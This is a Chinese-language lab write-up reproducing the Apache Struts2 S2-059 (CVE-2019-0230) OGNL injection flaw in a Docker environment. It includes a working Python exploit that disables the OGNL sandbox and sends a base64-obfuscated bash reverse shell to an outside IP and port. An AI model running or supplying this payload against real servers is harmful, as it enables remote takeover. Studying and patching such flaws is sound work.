1. 程式人生 > 其它 >Struts2 S2-059 遠端程式碼執行漏洞(CVE-2019-0230)

Struts2 S2-059 遠端程式碼執行漏洞(CVE-2019-0230)

Apache Struts框架, 會對某些特定的標籤的屬性值,比如id屬性進行二次解析,所以攻擊者可以傳遞將在呈現標籤屬性時再次解析的OGNL表示式,造成OGNL表示式注入。從而可能造成遠端執行程式碼。

影響版本: Struts 2.0.0 - Struts 2.5.20

參考連結:

漏洞環境

啟動 Struts 2.5.16環境:

docker-compose up -d

啟動環境之後訪問http://your-ip:8080/?id=1 就可以看到測試介面

漏洞復現

訪問 http://your-ip:8080/?id=%25%7B233*233%7D,可以發現233*233的結果被解析到了id屬性中:

OGNL Apache Struts exploit: Weaponizing a sandbox bypass (CVE-2018-11776)》給出了繞過struts2.5.16版本的沙盒的poc,利用這個poc可以達到執行系統命令。

通過如下Python指令碼復現漏洞:

import requests

url = "http://127.0.0.1:8080"
data1 = {
    "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
    "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc1LjE1MC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}'))}"
}
res1 = requests.post(url, data=data1)
# print(res1.text)
res2 = requests.post(url, data=data2)
# print(res2.text)

反彈Shell成功